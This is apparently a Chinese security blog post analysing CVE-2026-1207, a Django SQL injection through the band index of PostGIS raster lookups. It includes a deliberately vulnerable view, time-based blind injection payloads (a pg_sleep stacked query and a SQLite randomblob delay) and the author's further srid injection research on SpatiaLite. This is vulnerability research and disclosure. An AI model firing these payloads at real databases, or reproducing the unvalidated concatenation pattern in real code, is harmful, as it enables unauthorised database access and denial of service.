Django 框架在使用 PostGIS 查询地理栅格(raster)数据时,若将未经验证的用户输入直接作为 band index(波段索引)参数,会引发 SQL 注入

CVE-2026-1207: Potential SQL injection via raster lookups on PostGIS

Raster lookups on GIS fields (only implemented on PostGIS) were subject to SQL injection if untrusted data was used as a band index.

As a reminder, all untrusted user input should be validated before use.

Thanks to Tarek Nakkouch for the report.

This issue has severity "high" according to the Django security policy.


根据漏洞描述可知漏洞触发的条件为:

使用 PostGIS 数据库 + 对栅格字段执行查询 + band index(波段索引)参数直接传入不可信用户输入

首先先来了解一下什么是PostGIS和raster

PostGIS 是目前最强、最成熟、最通用的开源空间数据库引擎

PostGIS 让数据库可以直接处理:

● 📍 点(Point)

● 🧭 线(LineString)

● 🗺 多边形(Polygon)

● 🌍 地理坐标(WGS84)

● 🧱 三维/四维数据(Z / M)

● 🖼 栅格数据(Raster,如 DEM、遥感影像)

并支持 空间索引 + 空间运算 + 空间关系判断。

https://live.osgeo.org/archive/10.5/zh/quickstart/postgis_quickstart.html

0x01 补丁分析

具体来看下补丁https://github.com/django/django/commit/17a1d64a58ef24c0c3b78d66d86f5415075f18f0

补丁其实就是对用户潜在可控的波段索引band index做了类型校验,如果不为int就返回类型错误

具体对应到代码中的lookup.band_lhs、lookup.band_rhs

因为如果不进行校验的话,后面就会走到2处字符串拼接的逻辑,最终就造成sql注入

django底层在支持一些需要使用sql函数实现的功能时无法使用预编译,只能使用字符串拼接,而刚好有些本该是int类型的波段索引,并没有进行类型校验,在用户传入恶意sql片段的字符串时就能造成sql注入

0x02 漏洞复现

依据对补丁的分析快速在django 5.2.11 + Postgres+ PostGIS复现了该漏洞

我的view.py

import json
from django.http import HttpRequest, HttpResponse, JsonResponse
from django.views import View
from django.db.models import FilteredRelation, F, Q, Count
from django.db.models.functions import Upper

from django.db.models import FilteredRelation, Count, Q
from django.db.models import F
from django.db.models import Sum

from vuln.models import RasterModel
from django.contrib.gis.gdal import GDAL_VERSION, GDALRaster, SpatialReference

def index(request):
    return HttpResponse("book app")


class Books(View):
    http_method_names = ['get', 'post']

    def get(self, request: HttpRequest):
        band = request.GET.get("band", 1)

        rast = GDALRaster(json.loads("""{
    "srid": 4326,
    "origin": [0, 0],
    "scale": [-1, 1],
    "skew": [0, 0],
    "width": 5,
    "height": 5,
    "nr_of_bands": 1,
    "bands": [{"data": [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
                        15, 16, 17, 18, 19, 20, 21, 22, 23, 24]}]
}
"""))
        qs = RasterModel.objects.filter(rast__contains=(rast, band))
        print(qs.query)
        qs.count()
        
        return HttpResponse("book app")

​

model.py

from django.contrib.gis.db import models

class RasterModel(models.Model):
    rast = models.RasterField(
        "A Verbose Raster Name", null=True, srid=4326, spatial_index=True, blank=True
    )
    rastprojected = models.RasterField("A Projected Raster Table", srid=3086, null=True)
    geom = models.PointField(null=True)

    class Meta:
        required_db_features = ["supports_raster"]

    def __str__(self):
        return str(self.id)


class RasterRelatedModel(models.Model):
    rastermodel = models.ForeignKey(RasterModel, models.CASCADE)

    class Meta:
        required_db_features = ["supports_raster"]

    def __str__(self):
        return str(self.id)

​

url.py

from django.urls import path

from . import views

urlpatterns = [
    path("search", views.Books.as_view(), name="search"),
]

​

settings里面需要配置数据库的ENGINE为django.contrib.gis.db.backends.postgis

我们使用PostGIS只需要在Postgres数据库中开启对应的扩展

CREATE EXTENSION postgis;
CREATE EXTENSION postgis_raster;

在django服务启动之后发送如下时间盲注的的poc

http://127.0.0.1:8087/book/search?band=1);select%20%271%27||pg_sleep(3)%20--

即可看到我们输入的sql片段被拼接到了tempalte_params["rhs"]中

​

最终执行的时候通过堆叠注入实现了sql盲注

关键的调用栈

check_raster (\usr\local\lib\python3.11\site-packages\django\contrib\gis\db\backends\postgis\operations.py:76)
as_sql (\usr\local\lib\python3.11\site-packages\django\contrib\gis\db\backends\postgis\operations.py:41)
as_sql (\usr\local\lib\python3.11\site-packages\django\contrib\gis\db\models\lookups.py:90)
compile (\usr\local\lib\python3.11\site-packages\django\db\models\sql\compiler.py:577)
as_sql (\usr\local\lib\python3.11\site-packages\django\db\models\sql\where.py:151)
compile (\usr\local\lib\python3.11\site-packages\django\db\models\sql\compiler.py:577)
as_sql (\usr\local\lib\python3.11\site-packages\django\db\models\sql\compiler.py:794)
sql_with_params (\usr\local\lib\python3.11\site-packages\django\db\models\sql\query.py:350)
__str__ (\usr\local\lib\python3.11\site-packages\django\db\models\sql\query.py:342)
get (\workspaces\CVE-2026-1207\vuln\views.py:38)
dispatch (\usr\local\lib\python3.11\site-packages\django\views\generic\base.py:144)
view (\usr\local\lib\python3.11\site-packages\django\views\generic\base.py:105)
_get_response (\usr\local\lib\python3.11\site-packages\django\core\handlers\base.py:197)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
__call__ (\usr\local\lib\python3.11\site-packages\django\utils\deprecation.py:120)
inner (\usr\local\lib\python3.11\site-packages\django\core\handlers\exception.py:55)
get_response (\usr\local\lib\python3.11\site-packages\django\core\handlers\base.py:140)
__call__ (\usr\local\lib\python3.11\site-packages\django\core\handlers\wsgi.py:124)
__call__ (\usr\local\lib\python3.11\site-packages\django\contrib\staticfiles\handlers.py:80)
run (\usr\local\lib\python3.11\wsgiref\handlers.py:137)
handle_one_request (\usr\local\lib\python3.11\site-packages\django\core\servers\basehttp.py:253)
handle (\usr\local\lib\python3.11\site-packages\django\core\servers\basehttp.py:228)
__init__ (\usr\local\lib\python3.11\socketserver.py:755)
finish_request (\usr\local\lib\python3.11\socketserver.py:361)
process_request_thread (\usr\local\lib\python3.11\socketserver.py:691)
run (\usr\local\lib\python3.11\threading.py:982)
_bootstrap_inner (\usr\local\lib\python3.11\threading.py:1045)
_bootstrap (\usr\local\lib\python3.11\threading.py:1002)

0x03 我的新的发现

我从这个漏洞的分析过程中得到了一些启发,因为CVE-2026-1207存在的原因在于Django ORM在实现一些通过底层调用SQL函数实现的功能时没有办法使用预编译,并且没有严格去做类型校验导致的,按照这个思路我让glm帮我分析了下附近的代码,找到了一处潜在的的SQL注入

具体位置在django/contrib/gis/db/backends/base/operations.py的get_geom_placeholder函数,该函数是Django GIS 后端操作基类中的一个重要方法,用于为几何字段生成 SQL 占位符。有问题的参数是value.srid,这个同样也是本来是int类型的srid参数没有做类型校验,直接拼接到SQL中导致的注入。

SRID(Spatial Reference System Identifier,空间参考系统标识符)是 PostGIS 和所有 GIS 系统中用于唯一标识坐标系的整数代码

# django/contrib/gis/db/backends/base/operations.py
def get_geom_placeholder(self, f, value, compiler):
        """
        Return the placeholder for the given geometry field with the given
        value.  Depending on the spatial backend, the placeholder may contain a
        stored procedure call to the transformation function of the spatial
        backend.
        """

        def transform_value(value, field):
            return value is not None and value.srid != field.srid

        if hasattr(value, "as_sql"):
            return (
                "%s(%%s, %s)" % (self.spatial_function_name("Transform"), f.srid)
                if transform_value(value.output_field, f)
                else "%s"
            )
        if transform_value(value, f):
            # Add Transform() to the SQL placeholder.
            return "%s(%s(%%s,%s), %s)" % (
                self.spatial_function_name("Transform"),
                self.from_text,
                value.srid,
                f.srid,
            )

实际去验证的时候发现没有那么简单

这个方法是在基类实现的,实际上在PostGis、Oracle数据库中相关的实现已经复写了该方法,只有Mysql和spatialite会受到此方法的影响。后面一看由于函数逻辑涉及到SQL中的Transform方法的使用,而Mysql的实现逻辑中刚好不支持该函数,所以最终能进行实际验证的只有spatialite


我使用了django 5.2.12 + sqlite+ patiaLite验证了该漏洞存在,以时间盲注为例

views.py

class MaliciousGeometry(GEOSGeometry):
    """恶意几何对象 - srid 属性返回 SQL 注入 payload"""
    def __init__(self, sql_payload):
        super().__init__("POINT(0 0)", srid=4326)
        object.__setattr__(self, '_srid', sql_payload)

    @property
    def srid(self):
        return self._srid

    @srid.setter
    def srid(self, value):
        pass


class GISInjection(View):
    """
    测试 GIS SQL 注入漏洞的视图

    通过正常的 Django ORM 路径触发 base operations 的漏洞代码
    """
    http_method_names = ['get', 'post']

    def get(self, request: HttpRequest):
        # 从 URL 参数获取 SQL payload
        sql_payload = request.GET.get('srid', '')

        # 创建恶意 Geometry 对象
        # 关键:设置一个与字段不同的 srid 来触发 transform 逻辑
        malicious_geom = MaliciousGeometry(sql_payload)

        # 触发查询 - 使用 intersects lookup
        # 这会调用 SpatiaLite 的 get_geom_placeholder (继承自 base)
        qs = City.objects.filter(location__intersects=malicious_geom)

        # 打印生成的 SQL
        sql_str = str(qs.query)
        print("=" * 50)
        print("Generated SQL:")
        print(sql_str)
        print("=" * 50)

        try:
            count = qs.count()
            return JsonResponse({
                'sql': sql_str,
                'count': count
            })
        except Exception as e:
            return JsonResponse({
                'sql': sql_str,
                'error': str(e)
            })

model.py

class City(models.Model):
    """城市模型 - 用于测试 GIS SQL 注入漏洞"""
    name = models.CharField(max_length=100)
    location = models.PointField(srid=4326)  # SRID=4326 (WGS84)

    class Meta:
        db_table = 'vuln_city'

    def __str__(self):
        return self.name

​

url.py

from django.urls import path

from . import views

urlpatterns = [
    path("gis-inject", views.GISInjection.as_view(), name="gis_inject"),
]

使用如下poc即可进行延时注入(因为sqlite中没有显式的sleep函数,最终是通过randomblob产生大量的随机数占用大量内存来达到时间盲注的效果)

GET /book/gis-inject?srid=%28%73%65%6c%65%63%74%20%72%61%6e%64%6f%6d%62%6c%6f%62%28%31%30%30%30%30%30%30%30%30%30%29%29%20 HTTP/1.1
Host: localhost:8087

payload明文

(select randomblob(1000000000)) 

​

我复现了之后其实觉得其实觉得利用难度很高,我的view中还必须要存在这种通过魔术方法强制为srid赋值的逻辑这个是因为django层虽然没有进行类型校验,但是GEOSGeometry 的srid对应的setter方法会调用 C 函数进行类型校验,所以无法简单地实例化一个包含恶意srid值得GEOSGeometry对象

alicious_geom.srid = "(SELECT password FROM users)"  # 设置恶意 srid
    ^^^^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/django/contrib/gis/geos/geometry.py", line 379, in srid
    capi.geos_set_srid(self.ptr, 0 if srid is None else srid)
  File "/usr/local/lib/python3.11/site-packages/django/contrib/gis/geos/libgeos.py", line 154, in __call__
    return self.func(*args)
           ^^^^^^^^^^^^^^^^
  File "/usr/local/lib/python3.11/site-packages/django/contrib/gis/geos/prototypes/threadsafe.py", line 47, in __call__
    return self.cfunc(self.thread_context.handle.ptr, *args)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
ctypes.ArgumentError: argument 3: TypeError: wrong type


最终提给Django官方得时候,官方也是以开发者需要合理过滤用户输入、利用难度过大等理由拒了,不过在最新版本中这个问题已经修复了

后面使用glm帮我尝试找到其他可以绕过校验的方法也无果,所以就只能到此为止了

​

0x04 参考

补丁 https://github.com/django/django/commit/17a1d64a58ef24c0c3b78d66d86f5415075f18f0

上述相关的漏洞复现代码可在我的github中找到https://github.com/sw0rd1ight